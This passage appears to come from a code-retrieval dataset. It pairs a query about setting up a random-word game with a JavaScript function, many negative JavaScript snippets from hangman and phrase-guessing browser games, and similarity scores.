newPhrase.showMatchedLetter(e.target.textContent);\r\n this.checkForWin();\r\n } else {\r\n e.target.className = \"wrong\"; \r\n but.disabled = true;\r\n newGame.missed +=1;\r\n this.removeLife();\r\n }\r\n if (this.missed === 5){\r\n const phraseDisplay = document.querySelectorAll('#phrase ul li');\r\n button.forEach(butt => {\r\n butt.disabled = true;\r\n })\r\n phraseDisplay.forEach(letter => {\r\n if (letter.className === \"hide letter\"){\r\n letter.className = \"show_lost\";\r\n }\r\n });\r\n setTimeout(this.gameOver, 4000);\r\n }\r\n } );\r\n }) \r\n document.addEventListener(\"keyup\", (e)=>{\r\n button.forEach(but => {\r\n if(but.textContent.includes(e.key)){\r\n but.click();\r\n }\r\n })\r\n \r\n });\r\n }", "startGame(){\n this.missed = 0;\n let currentPhrase = this.getRandomPhrase();\n currentPhrase.addPhraseToDisplay();\n document.addEventListener(\"mousedown\", function (e) {\n e.preventDefault();\n });\n }", "startGame() {\r\n const overlay = document.querySelector('#overlay');\r\n overlay.style.display = 'none';\r\n\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n\r\n }", "startGame(){\r\n overlay.style.display = \"none\";\r\n this.activePhrase = this.getRandomPhrase(); \r\n activePhrase = this.activePhrase\r\n console.log(activePhrase);\r\n activePhrase.addPhraseToDisplay();\r\n }", "function playgame () { \n console.log(\"Play Game\"); \n\n //DISPLAY THE RANDOM WORD AS BLANK AND LOG IT \n console.log(randomWord); \n \n console.log(word.display());\n\n // PROMPT THE USER TO ENTER A LETTER \n inquirer\n .prompt ({\n name: \"letterGuess\", \n type: \"input\", \n message: \"Guess a Letter\"\n })\n\n // CHECK IF THE LETTER IS IN THE WORD\n .then (function (response){\n console.log(response.letterGuess); \n \n // ACCESS WORD GUESS FUNCTION \n word.guess(response.letterGuess); \n\n // REDISPLAY THE WORD WITH THE GUESSED LETTER \n console.log(word.display());\n\n })\n}", "startGame() {\r\n const overlay = document.querySelector('#overlay');\r\n overlay.style.display = 'none';\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }", "function newWord() {\n $('#word_hint').html(words[Math.floor((Math.random() * words.length))]);\n resetTimer();\n vrtionary.ultimateClear();\n vrtionary.setTeamTime(30);\n}", "function startGame() {\n chosenWord = words[Math.floor(Math.random() * words.length)];\n console.log(chosenWord);\n isWordChosen()\n}", "startGame() {\r\n const phrase = this.getRandomPhrase();\r\n this.activePhrase = phrase;\r\n phrase.addPhraseToDisplay();\r\n document.getElementById('overlay').style.display = 'none'; // hide the start screen.\r\n }", "function prepareGame() {\n// defines the secret word\n secretWord = ['J','A','V','A','S','C','R', 'I', 'P', 'T'];\n\n \n// Step 1 TASK: call the drawWord and drawHangman function here (inside the prepareGame function). \ndrawWord()\ndrawHangman() \n}", "function mainGame(){\n\t\n\t//get the command from the user and make sure it's valid\n\tvar userInput = document.getElementById('userInputBox').value; //need to add a userInputBox text box\n\tuserInput = userInput.toLowerCase(); //makes the whole string lowercase for comparison reasons\n\tinputArray = userInput.split(\" \"); //split up individual words into an array using blank spaces as the delimiter\n\t\t\n\t//search to see if the first action word of the user is valid and set the currentAction variable to that action\n\tif(!isValid(inputArray, validActions, 'action')){\n\t\t//print message about invalid input\n\t\tdocument.getElementById('outputDiv').innerHTML= 'Do what now?';\n\t\tclear();\n\t\treturn; //leave the main function and wait for another user input\n\t}\n\t\n\t\n\t//see if the action is end\n\tif(currentAction === 'exit'){\n\t\tif(currentLocation.adjacentLocations.length === 1){\n\t\t\tgoTo(currentLocation.adjacentLocations[0]);\n\t\t} else{\n\t\t\tdocument.getElementById('outputDiv').innerHTML= 'You can\\t exit the town like this. Type end to end the game.';\n\t\t}\n\t\tclear();\n\t\treturn; //leave the main function and wait for another user input\n\t\n\t}\n\t\n\t//see if the action is end\n\tif(currentAction === 'end'){\n\t\tend(); //run the help function\n\t\tclear();\n\t\treturn; //leave the main function and wait for another user input\n\t\n\t}\n\t\n\t\n\t//see if the action is help\n\tif(currentAction === 'help'){\n\t\thelp(); //run the help function\n\t\tclear();\n\t\treturn; //leave the main function and wait for another user input\n\t\n\t}\n\t\n\t//see if the action is inventory\n\tif(currentAction === 'inventory'){\n\t\tprintInventory();\n\t\tclear();\n\t\treturn; //leave the main function and wait for another user input\n\t\n\t}\n\t\n\t\n\t//search to see if the first subject word of the user is valid and set the currentSubject variable to that subject\n\t//first, see if the subject is a person\n\tif(!isValid(inputArray, currentLocation.people, 'person')){\n\t\t//next, see if the subject is an item\n\t\tif(!isValid(inputArray, currentLocation.items, 'item')){\n\t\t\t//finally, see if the subject is an adjacent location\n\t\t\tif(!isValid(inputArray, currentLocation.adjacentLocations, 'location')){\n\t\t\t\t//if it gets this far then the input must not contain a valid subject\n\t\t\t\t//print message about invalid input\n\t\t\t\tdocument.getElementById('outputDiv').innerHTML= 'That doesn\\'t make any sense.';\n\t\t\t\tclear();\n\t\t\t\treturn; //leave the main function and wait for another user input\n\t\t\t}\n\t\t\n\t\t}\n\t}\n\t\n\t//at this point, everything should be valid\n\t//time to perform the action\n\t\n\tswitch(currentAction){\n\t\tcase 'go':\n\t\t\tif(currentSubjectType === 'location'){\n\t\t\t\tgoTo(currentSubject);\t\t\t\t\n\t\t\t} else{\n\t\t\t\t\n\t\t\t\tdocument.getElementById('outputDiv').innerHTML= 'How exactly do you go to ' + currentSubject.name + '?';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'enter':\n\t\t\tif(currentSubjectType === 'location'){\n\t\t\t\tgoTo(currentSubject);\t\t\t\t\n\t\t\t} else{\n\t\t\t\t//print a message saying you can't go to a non location\n\t\t\t\tdocument.getElementById('outputDiv').innerHTML= 'How exactly do you enter ' + currentSubject.name + '?';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'pick':\n\t\t\tif(currentSubjectType === 'item'){\n\t\t\t\tpickUp(currentSubject);\t\t\t\t\n\t\t\t} else{\n\t\t\t\t//print a message saying you can't pick up a non item\n\t\t\t\tdocument.getElementById('outputDiv').innerHTML= 'How do you expect to pick up a ' + currentSubject.name + '?';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'get':\n\t\t\tif(currentSubjectType === 'item'){\n\t\t\t\tpickUp(currentSubject);\t\t\t\t\n\t\t\t} else{\n\t\t\t\t//print a message saying you can't pick up a non item\n\t\t\t\tdocument.getElementById('outputDiv').innerHTML= 'How do you expect to get a ' + currentSubject.name + ' in your inventory?';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'talk':\n\t\t\tif(currentSubjectType === 'person'){\n\t\t\t\ttalkTo(currentSubject);\t\t\t\t\n\t\t\t} else{\n\t\t\t\t//print a message saying you can't talk to a non person\n\t\t\t\tdocument.getElementById('outputDiv').innerHTML= 'You can talk to that ' + currentSubject.name + ' all you want. It\\'s not going to respond.';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'examine':\n\t\t\tdocument.getElementById('outputDiv').innerHTML= currentSubject.description;\n\t\t\tbreak;\n\t\n\t}\n\tclear();\n\t\n\t//Is the game over yet?\n\tif(endOfGame){\n\t\tend();\n\t}\n}", "function startGame() {\n\t// Set variables\n\tpreviousNum = null;\n\tgameOn = true;\n\tguessedArray = [];\n\tletterString = \"\";\n\t// Clear displays\n\tclearWord();\n\tclearScreen();\n\tclearScore();\n\tupdateScore();\n\t// Set displays and media\n\tsetMedia();\n\tgetRandomNum();\n\tgetWord();\n\tdisplayWord();\n\n}", "function populateScreen(wordToGuess) {\n guessesArray = [];\n targetWord = new Word(wordToGuess);\n targetWord.wordPlaceHolder();\n guessLetter(wordToGuess);\n}", "startGame() {\r\n // Hide start screen overlay\r\n document.getElementById('overlay').style.display = 'none';\r\n\r\n // get a random phrase and set activePhrase property\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhrasetoDisplay();\r\n }", "function startGame(){\n if(Number(document.getElementById(\"chosenWord\").value) != 0){\n document.getElementById(\"openingBox\").setAttribute(\"style\", \"display: none;\");\n document.getElementById(\"mainDisplay\").setAttribute(\"style\", \"display:inline;\"); \n document.getElementById(\"guessingSpace\").innerHTML = \"\";\n document.getElementById(\"wronged\").innerHTML = \"\";\n if(Number(document.getElementById(\"chosenHint\").value) != 0){ document.getElementById(\"hintBox\").innerHTML = \"<span style='text-decoration: underline;'>HINT:</span> \" + document.getElementById(\"chosenHint\").value; }\n else{ document.getElementById(\"hintBox\").innerHTML = \"<span style='text-decoration: underline;'>ERROR:</span> Hint Not Found\"; document.getElementById(\"changeHint\").innerHTML = \"Make One\"; }\n answer = document.getElementById(\"chosenWord\").value.toUpperCase();\n\tanswerChar = answer.split(\"\");\n for(var i=0, length=answerChar.length; i<length; i++){\n\t answerChar[i] = { letter:answerChar[i], guessed:false };\n console.log(answerChar[i].letter); \n\t if(answerChar[i].letter == \" \"){ document.getElementById(\"guessingSpace\").innerHTML += \"&emsp;\"; }\n\t else if(answerChar[i].guessed == false){ document.getElementById(\"guessingSpace\").innerHTML += \"_\"; } \n } \n }\n else{ document.getElementById(\"chosenWord\").setAttribute(\"style\", \"border-right: solid red 2px;\"); } \n}", "startGame(){\n console.log(this.phrase_num);\n document.getElementById('overlay').style.display = 'none';\n \n this.activePhrase = this.getRandomPhrase();\n document.getElementById(\"hint\").textContent = \"Hint: \" + this.activePhrase.hint;\n \n console.log(this.activePhrase);\n this.activePhrase.addPhraseToDisplay();\n\n \n \n }", "startGame(){\n const overlay = document.querySelector(\"#overlay\");\n overlay.style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function checkIfGameWon() {\r\n if (wordStatus === answer) {\r\n document.getElementById('keyboard').innerHTML = 'Phew!! So close! You did it!';\r\n }\r\n}", "startGame() {\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n const overlay = document.querySelector('#overlay');\r\n overlay.style.display = 'none';\r\n }", "function setUpRandomGame() {\n let index = Math.floor(Math.random() * wordDictionary.length);\n secretWord = wordDictionary[index];\n setupGame();\n}", "function userPick(event){\n //if the key is a not a letter key\n if(event.keyCode > 90 || event.keyCode < 65) {\n //don't do anything\n return\n }\n //determine the letter that the user pressed\n var pick = event.key.toLowerCase();\n //if the letter has already been picked\n if(wrongGuesses.textContent.includes(pick)) {\n //don't do anything\n return\n }\n //if the letter can be found in the word\n if(chosenWord.includes(pick)) {\n //walk through the word to locate the match(es)\n for(var i = 0; i < chosenWord.length; i++){\n //if we find a matching letter in this position\n if(pick == chosenWord[i]) {\n //replace the blank in this position with the letter\n blanksAndSuccesses[i] = pick;\n //decrement the number of blanks\n numBlanks--\n }\n }\n //update the page with a representation of the current state of blanksAndSuccesses\n wordBlanks.textContent = blanksAndSuccesses.join(\" \");\n //if we can't find the pick in the word\n } else {\n //decrement the number of guesses left\n numGuesses--;\n //update the page with the number of guesses left\n guessesLeft.textContent = numGuesses.toString();\n //update the wrong guesses\n wrongGuesses.textContent += pick; \n }\n //detect if the user has won or lost\n //if the user has guessed the word there will be no more blanks left\n if(numBlanks == 0) {\n //tally the wins\n winCounter++;\n //reset for another game\n initializeGame();\n //if there are no more guesses left\n } else if (numGuesses == 0) {\n //tally the losses\n lossCounter++;\n //reset for another game\n initializeGame();\n }\n}", "startGame() {\n const overlay = document.getElementById('overlay');\n\n overlay.style.display = 'none'\n this.activePhrase = this.getRandomPhrase()\n this.activePhrase.addPhraseToDisplay()\n }", "function updateGameState(word) {\n\n // Calculate the new score\n var score = calculateScore(word);\n playerScore += score;\n\n // Update the usage\n updateUsage(word);\n\n // Update the strength\n updateStrength();\n\n // Add the word to the player list\n var word = {\n 'word': word,\n 'score': score\n }\n\n playerWordList.push(word);\n\n }", "function final(any) {\n element.wordGuess.textContent = string[any]; // will show win or lose string property\n sound[any].play(); //will play win or lose sound\n score[any]++; //will increment win or lose score\n update(); \n setTimeout(function () { //timer so that you can enjoy the music and strings\n reset();\n }, 2000);\n }", "function playGame() {\n\n var newWord = wordArray[Math.floor(Math.random() * wordArray.length)]\n //First we pick our new word randomly from the word array\n var word = new Word(newWord);\n\n //The user gets 10 incorrect tries before the game is over.\n numGuesses = 10;\n\n // Clear hashset.\n userInput = new HashSet()\n\n //Now we execute the game based on the word.\n guessWord(word, newWord);\n\n}", "function setupNewGame(msg) {\n\tgameChatID = msg.chat.id;\n\tbot.sendMessage(msg.from.id,\n\t\t\"Please send the list of words and hints as follows:\\n1 across, word, hint\\n5 down, word, hint\\netc...\\n\\\n\t\tsend \\\"/cancel\\\" to cancel\", {forceReply:true});\n\tbot.on('message',getWordHintList);\n}", "function runGame() {\n\n // clear all game values\n score = 0;\n wordInput.value = \"\";\n wordDisplayString.innerText = \"\";\n bar.style.width = 100 + \"%\";\n bar.innerHTML = \"Get Ready\";\n width = 100;\n wpmScoreBox.innerHTML = \"0 wpm\";\n wordInput.focus();\n\n // start startGame function after 4s\n playTimerSound();\n setTimeout(startGame, 4000) ;\n\n }", "function guessTheWordPress(event) {\n var alphaOnly = /^[a-zA-Z]$/; // regular expressions for alphabets curtesy of Beau\n var thePress = event.key.toUpperCase(); // convert every keypress into uppercase to match the word so we can compare it later\n var thePressData = $(\"button[data-letter=\" + thePress + \"]\"); // this will bind the keypress to the letter button on screen\n\n // Only listen for an alpha keys\n if (!alphaOnly.test(thePress)) {\n return;\n }\n\n // loop thru all the letters in theWord\n for (var i = 0; i < theWord.length; i++) {\n\n // test if keypress is equal to the letter in the word\n if (theWord[i] === thePress) {\n // not gonna take away life\n takeLife = false;\n\n // update underscores if true\n $(\"span[data-letter=\" + thePress + \"]\").text(thePress);\n\n // if the button on screen is not disabled then add winCounter if its disabled then its already been pressed or clicked\n if (thePressData.attr(\"disabled\") != \"disabled\") {\n winCounter += 1;\n }\n }\n }\n\n // call endGame function to determine the status of the game\n if (thePressData.attr(\"disabled\") != \"disabled\") {\n // this if is to prevent keypress of the same letter to call this more than once\n endGame();\n }\n\n // disable button after pressing to prevent multiple press/click of the same letter\n disableTheLetters(thePressData);\n console.log(takeLife);\n }", "startGame() {\n $('#overlay').slideUp(1500);\n this.activePhrase = this.getRandomPhrase();\n gamePhrase = new Phrase(this.activePhrase);\n gamePhrase.addPhraseToDisplay(); \n }", "function newWord(num) {\n guesses = 8;\n document.querySelector(\".guesses\").innerHTML = guesses;\n position = [];\n guessedLetters = [];\n document.querySelector(\".letters-guessed\").innerHTML = guessedLetters.join(\" \");\n word = words[num].split(\"\");\n for (var i=0; i<word.length; i++) {\n position.push(\"_\");\n }\n document.querySelector(\".position\").innerHTML = position.join(\" \");\n\n document.onkeyup = function(event) {\n if (event.keyCode >= 65 && event.keyCode <= 90) {\n userGuess = String.fromCharCode(event.keyCode).toUpperCase(); \n checkGuess(userGuess);\n } \n else {\n document.querySelector(\".error\").innerHTML = \"Press a letter, homie\";\n }\n }\n }", "function keyPress(char){\n\n if(gameState == WORD_GAME){\n //charText.destroy();\n //charText = game.add.text(30, 120, \"char: \" + char.key, {fill:'#000000'});\n //charText.fixedToCamera = true;\n\n //console.log(\"Codigo: \" + char.keyCode)\n //mientras que lo que escribe el jugador sea mas pequeño que la palabra dada va escibiendo\n if (word.length != palabraActual.length && char.keyCode != 13){ //enter no pulsado\n if (word.length < palabraActual.length && ((char.keyCode >= 65 && char.keyCode <= 90) || char.keyCode == 32)){\n word += char.key;\n }\n else if (word.length >= 0 && char.keyCode == 8) { //backspace\n word = word.slice(0, word.length-1);\n }\n }\n else {\n wordFound = palabraIgual(word, palabraActual)\n if (wordFound){\n wordsFound += 1;\n if(timeRemaining >= TIEMPO_PALABRAS/2){\n\n //score si la palabra es bien y tiempo es fast\n scorePalabras += 200;\n }\n else if(timeRemaining > 0){\n\n //score si la palabra es bien y tiempo es slow\n scorePalabras += 150;\n }\n misPalabras[indicePalabra][1] = true;\n correctSF.play();\n }\n //score si la palabra es mal\n else {\n wrongSF.play();\n scorePalabras = Math.max(scorePalabras - 100, 0);\n }\n word = \"\";\n timeRemaining = TIEMPO_PALABRAS;\n\n //comprobamos si hemos encontrado todas las palabras\n if (wordsFound == misPalabras.length) endPalabras(); \n else palabraActual = nuevaPalabra(misPalabras);\n }\n }\n}", "function beginNewGame() {\n newWordObject = {};\n guessArray = [];\n newWordString = characterNames[randomPosition()];\n createWordObject(newWordString);\n guessesLeft = 10;\n console.log(\"\\nStart New Star Wars Name Guess Game\\n\");\n console.log(displayWordArray() + \"\\n\");\n playGame();\n}", "startGame(){\r\n document.querySelector('#overlay').style.display = 'none';\r\n this.activePhrase = new Phrase(this.getRandomPhrase());\r\n this.activePhrase.addPhraseToDisplay();\r\n }", "startGame() {\n let overlayElement = document.getElementById('overlay');\n overlayElement.style.display = \"none\";\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function getNewWord() {\n\n if (challengedone) {\n // Reset variables to initial values\n lives = 10;\n matchesWin = 0;\n matchesLost = 0;\n badguess = 0;\n wordpool = [\"agnes\", \"barney\", \"bart\", \"carl\", \"edna\", \"homer\", \"kent\", \"krusty\", \"lenny\", \"lisa\", \"marge\", \"martin\", \"milhouse\", \"moe\", \"ned\", \"nelson\", \"patty\", \"ralph\", \"rod\", \"selma\", \"seymour\", \"todd\", \"tony\", \"troy\", \"waylon\", \"willie\"];\n\n // Set challenge mode ON\n challengedone = false;\n }\n\n // Select an index number based on the WORDPOOL array\n wordIndex = Math.floor(Math.random() * wordpool.length)\n\n // Randomly pick a word\n word = wordpool[wordIndex];\n\n // Show the word to the log... for cheaters!\n console.log(\"Word selected: \" + word);\n\n // Clear the GUESS and GUESSEDLETTERS arrays\n guess = [];\n guessedletters = [];\n\n // Reset LIVES and BADGUESSES to initial values for new game\n lives = 10;\n badguess = 0;\n\n // Show the image of the selected character based on WORD\n document.getElementById('hintImage').innerHTML = \"<h2>HINT IMAGE</h2><img src=\\\"./assets/images/\" + word + \".png\\\" alt=\\\"Hint image\\\" id=\\\"hintCanvas\\\">\";\n\n // Create GUESS word with -\n for (var i = 0; i < word.length; i++) {\n guess.push('-');\n }\n\n // Set game mode ON\n gamedone = false;\n\n // Update the labels\n updateGame();\n }", "handleWord(){\n // figure out what the word is\n\n // if newWord is false\n // log 'yay this word was in my dictionary!\n // else saveWord(word)\n }", "startGame() {\n const divOverlay = document.querySelector('#overlay');\n divOverlay.style.display = 'none';\n const randomPhrase = this.getRandomPhrase();\n randomPhrase.addPhraseToDisplay();\n this.activePhrase = randomPhrase;\n\n }", "function init() {\n // selects new random word for guessing\n const randomWord = new RandomWord();\n\n // reset values for global variables\n string = \"\";\n guesses = 9;\n matchedLetters = 0;\n lettersUsed = [];\n\n // prompt user to start game\n inquirer.prompt([\n {\n type: \"confirm\",\n message: \"Do you want to play a guessing game?\\n\",\n name: \"playGame\"\n },\n ]).then(res => {\n if (res.playGame) {\n //console.log(word.wordArr);\n word.showWord(); // show blanks equal to the number of letters in word\n guessALetter(); // run guessing function\n } else {\n console.log(\"Good bye!\");\n }\n });\n}", "function startGame(){\r\n\t \r\n\t let dumDumDum = [];\r\n\t for( iii=0; iii < randomWord.length ; iii++){\t\t\t\r\n\t\t\tdumDumDum.push(\"_\");\r\n\t } \r\n\t// Change the game textcontents to starting values\r\n\tdocument.querySelector(\".the_word\").innerHTML =\"The word: \"+dumDumDum+\" \";\r\n\tdocument.querySelector(\".guesses\").innerHTML =\"Guesses: \";\r\n\tdocument.querySelector(\".guesses_left\").innerHTML =\"Wrong guesses left: \"+livesLeft+\" \"; \t \r\n }", "function setGameWord() {\n\tlet random = Math.floor(Math.random() * wordArray.length);\n\tselectedWord = wordArray[random];\n}", "startGame() {\r\n document.querySelector('#overlay').style.display = 'none';\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n this.resetGame(); \r\n }", "handleInteraction(letter, eventText){\n\t\tletter.disabled = true; \n\t\tconst letterClicked = eventText;\n\t\tconst inPhrase = this.activePhrase.checkLetter(letterClicked);\n\t\tif(inPhrase){\n\t\t\tletter.className = \"key chosen\";\n\t\t\tthis.activePhrase.showMatchedLetter(letterClicked);\n\t\t\tif(this.checkForWin()){\n\t\t\t\tthis.gameOver(true);\n\t\t\t}\n\t\t}else{\n\t\t\tletter.className = \"key wrong\";\n\t\t\tthis.removeLife()\n\t\t};\n\t}", "function loser(){\n\t\t// alert(\"Better luck next time.\");\n\t\tvar ng = confirm(\"The word was \" + word + \". Better luck next time. Press OK to play again.\");\n\t\t\tif (ng === true) {\n\t\t\tnewGame();\n\t\t\tupdateScreen();\n\t\t}\n\t}", "startGame() {\n let hideScreen = document.getElementById('overlay')\n hideScreen.style.display = 'none'\n this.activePhrase = this.getRandomPhrase()\n this.activePhrase.addPhraseToDisplay()\n }", "function startGame() {\n\n // clears guessedLetters before a new game starts if it's not already empty.\n if (guessedLetters.length > 0) {\n guessedLetters = [];\n }\n\n console.log('---------------------------------------------------------');\n console.log('');\n console.log('Guess! The! Word!');\n console.log('');\n console.log('---------------------------------------------------------');\n\n //prompt user\n inquirer.prompt([\n {\n name: 'play',\n type: 'confirm',\n message: 'Are you ready to start the game?'\n }\n ]).then(function (answer) {\n if (answer.play) {\n console.log('');\n console.log('The category is . . .Animals');\n console.log('You get 10 guesses to guess the right word.');\n console.log('Good Luck!');\n console.log('');\n newGame();\n } else {\n console.log('That is too bad! We would have had fun.');\n }\n });\n\n}" ]
[ "0.76868105", "0.75608706", "0.7073458", "0.7064194", "0.70559114", "0.70139223", "0.6947545", "0.69468844", "0.69349325", "0.6897024", "0.67891026", "0.6782195", "0.67818886", "0.6777913", "0.67706484", "0.6760566", "0.6757051", "0.67238337", "0.6702996", "0.6674832", "0.66744614", "0.6674052", "0.667283", "0.66629666", "0.6659783", "0.66597635", "0.6657146", "0.6650318", "0.6644505", "0.6639733", "0.6635046", "0.66286194", "0.6622775", "0.6590766", "0.6584992", "0.6584759", "0.65796846", "0.6578885", "0.65724754", "0.6563142", "0.6555124", "0.6554765", "0.65539193", "0.65532076", "0.65473694", "0.654642", "0.65447927", "0.65435946", "0.6528404", "0.6527734", "0.6526017", "0.65258443", "0.6524382", "0.6522715", "0.6521267", "0.65176165", "0.6512553", "0.651183", "0.65096945", "0.6502633", "0.64975363", "0.64887995", "0.64821035", "0.6481102", "0.6479572", "0.6477264", "0.6473496", "0.64726865", "0.6472649", "0.64676976", "0.6466767", "0.64664763", "0.64607966", "0.644634", "0.6445765", "0.6433465", "0.64264506", "0.64177865", "0.6417068", "0.6414958", "0.6411042", "0.6403095", "0.64027256", "0.6402424", "0.63966435", "0.6390153", "0.6386533", "0.63864774", "0.63766146", "0.6375138", "0.6369965", "0.63601863", "0.63601476", "0.6358508", "0.6351355", "0.6345975", "0.634014", "0.6337046", "0.6332632", "0.6330769" ]
0.6583433
36
set up game in event that random word option is chosen
function setUpRandomGame() { let index = Math.floor(Math.random() * wordDictionary.length); secretWord = wordDictionary[index]; setupGame(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function startGame() {\n select = Math.floor(Math.random() * wordList.length);\n chosenWord = wordList[select];\n gameWord = new Word(chosenWord);\n gameWord.createWord();\n if (select > -1) {\n wordList.splice(select, 1);\n }\n console.log(\n \"You get 8 letter guesses to correctly find the type of fruit.\\n Good luck!\"\n .cyan\n );\n promptUser();\n}", "function setGameWord() {\n\tlet random = Math.floor(Math.random() * wordArray.length);\n\tselectedWord = wordArray[random];\n}", "function newGame() {\n gameStart = true\n clearOut();\n ransomdomize();\n createSpan();\n \n //console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\n \n}", "function chooseChange() {\nvar seed = random(1,3);\nvar choice = round (seed);\n\tif (choice == 1){\n\tchangeWordM();\n\t}\n\tif (choice == 2){\n\tchangeWordO();\n\t}\n\tif (choice == 3){\n\tchangeWordW();\n\t}\n}", "function appSelection() {\n appLetter = letterOptions[Math.floor(Math.random() * letterOptions.length)];\n}", "function actionPlay() {\n var word2Guess = arrWords[Math.floor(Math.random()*arrWords.length)];\n console.log(\"word:\", word2Guess);\n // Randomly selects a word and uses the `Word` constructor to store it\n var word = new Word(word2Guess);\n}", "function randoWordSelect() {\n\n var rando = Math.floor(Math.random() * 27)\n currentWord = words.wordSelection[x];\n // below code will not allow a repeat word to be shown\n if (wordsPlayed.includes(currentWord)){\n randoWordSelect();\n } else {\n player = new Display(currentWord);\n letter = new Check(currentWord);\n }\n wordsGuessed.push(currentWord);\n}", "function chooseRandomWord() {\n //store random word\n currentWord = wordLibraryArray[Math.floor(Math.random() * wordLibraryArray.length)];\n currentWordArray = currentWord.split('');\n remainingLetters = currentWord.length;\n displayStatus(currentWord);\n}", "function selectWord() {\n compGuess = mtnNames[Math.floor(Math.random()*mtnNames.length)];\n isPlaying = true;\n compGuessArr = compGuess.split(\"\");\n console.log('Comp guess array set here '+compGuessArr);\n }", "function play() {\n categories = [// Countries\n ['singapure', 'malaysia', 'china', 'japan', 'south korea'], \n ['ruby on rails', 'javascript', 'c plus plus', 'python', 'golang', 'react', 'vue'], \n // Animals // Programming language and Frameworks\n ['cangaroo', 'bear', 'doggy', 'kitty', 'dragon']];\n\n choseCategory = categories[Math.floor(Math.random() * categories.length)];\n word = choseCategory[Math.floor(Math.random() * choseCategory.length)];\n word = word.replace(/\\s/g, '-');\n console.log(word);\n\n lives = 10;\n counter = 0;\n space = 0;\n guesses = [];\n\n createButtons();\n selectCat();\n result();\n comments();\n canvas();\n }", "function startGame() {\n chosenWord = words[Math.floor(Math.random() * words.length)];\n console.log(chosenWord);\n isWordChosen()\n}", "function rndChooseWord() {\n\n // This randomly selects a word from the list\n currentWordPos = (Math.floor(Math.random() * (wordstring.length)) + 1);\n\n}", "function initGame() {\n if (game_started == true) { //return to game_paused false state\n returnGame();\n } else { //create game\n if (word_to_find_list.length > 0) { //word inside word list\n createGame();\n displayPage(\"letter_grid_page\");\n } else { //create word\n if (always_ask == false) {\n WordListAddRowRandom(always_ask_length);\n createGame();\n displayPage(\"letter_grid_page\");\n } else { //ask word lenght\n var prompt_new_word = Number(window.prompt(\"Aucun mot n'est prédéfini dans les paramètres, veuillez entrer le nombre de lettres (compris entre 5 et 10) du prochain mot tiré au hasard:\", \"8\"));\n if (prompt_new_word >= 5 && prompt_new_word <= 10 ) {\n WordListAddRowRandom(prompt_new_word);\n createGame();\n displayPage(\"letter_grid_page\");\n }\n }\n }\n }\n}", "function newGame(){\n\t\tword = wordList [Math.floor(Math.random() * wordList.length)];\n\t\tguessedLetters.length = 0;\n\t\tuniqueLetter = false;\n\t\tvalidInput = false;\n\t\tcorrectGuesses = 0;\n\t\tincorrectGuesses = 0;\n\t\tchances = 8;\n\t\tanswerMask = [];\n\t\tfor(i=0; i < word.length; i++){\n\t\t\tanswerMask[i] = \"_\";\n\t\t};\n\t\tremainingLetters = word.length;\n\t\tsolveWord = document.getElementById(\"solveMe\");\n\t\tsolveWord.innerHTML = answerMask.join(\" \");\n\t\tvideo.currentTime = 0;\n\t\tupdateScreen();\n\t}", "function init() {\n //picks a random number and matches it to a letter\n currentWord = words[Math.floor(Math.random()*words.length)];\n wordHint.textContent = currentWord.split(\"\").map(letter => letter = \"__\").join(\" \");\n}", "function newWord() {\n $('#word_hint').html(words[Math.floor((Math.random() * words.length))]);\n resetTimer();\n vrtionary.ultimateClear();\n vrtionary.setTeamTime(30);\n}", "function makeEnemyChoice() {\n const choices = [\"horse\", \"hay\", \"sword\"];\n const choiceIndex = Math.floor(Math.random() * choices.length);\n selectItem(\"enemy\", choices[choiceIndex]);\n}", "function chooseRandomWord() {\n\n randomWord = wordList[Math.floor(Math.random() * wordList.length)].toUpperCase();\n someWord = new word(randomWord);\n\n console.log(gameTextColor(\"Your word contains \" + randomWord.length + \" letters.\"));\n console.log(gameTextColor(\"WORD TO GUESS: \" + randomWord));\n\n someWord.splitWord();\n someWord.generateLetters();\n guessLetter();\n}", "function startGame() {\n\t\tvar words = [\"act\", \"again\", \"agree\", \"also\", \"answer\", \"arrive\", \"able\", \"against\", \"always\",\n\t\t\t\t\t\t \"area\", \"atom\", \"about\", \"afraid\", \"anger\", \"appear\", \"above\", \"after\", \"allow\", \n\t\t\t\t\t\t \"among\", \"animal\", \"baby\", \"back\", \"bad\", \"ball\", \"band\", \"bank\", \"bar\", \"base\", \n\t\t\t\t\t\t \"basic\", \"bat\", \"be\", \"bear\", \"beat\", \"beauty\", \"bed\", \"been\", \"before\", \"began\",\n\t\t\t\t\t\t \"begin\", \"behind\", \"believe\", \"bell\", \"best\", \"better\", \"between\", \"big\", \"bird\",\n\t\t\t\t\t\t \"bit\", \"black\", \"block\", \"blood\", \"blow\", \"blue\", \"board\", \"boat\", \"body\", \"bone\",\n\t\t\t\t\t\t \"book\", \"born\", \"both\", \"bottom\", \"bought\", \"box\", \"boy\", \"branch\", \"bread\",\n\t\t\t\t\t\t \"break\", \"bright\", \"bring\", \"broad\", \"broke\", \"brother\", \"brought\", \"brown\", \n\t\t\t\t\t\t \"build\", \"burn\", \"busy\", \"but\", \"buy\", \"by\", \"call\", \"came\", \"camp\", \"can\", \n\t\t\t\t\t\t \"capital\", \"captain\", \"car\", \"card\", \"care\", \"carry\", \"case\", \"cat\", \"catch\", \n\t\t\t\t\t\t \"caught\", \"cause\", \"cell\", \"cent\", \"center\", \"centre\", \"century\", \"certain\", \n\t\t\t\t\t\t \"chair\", \"chance\", \"change\", \"character\", \"charge\", \"chart\", \"check\", \"chick\", \n\t\t\t\t\t\t \"chief\", \"child\", \"children\", \"choose\", \"chord\", \"circle\", \"city\", \"claim\", \n\t\t\t\t\t\t \"class\", \"clean\", \"clear\", \"climb\", \"clock\", \"close\", 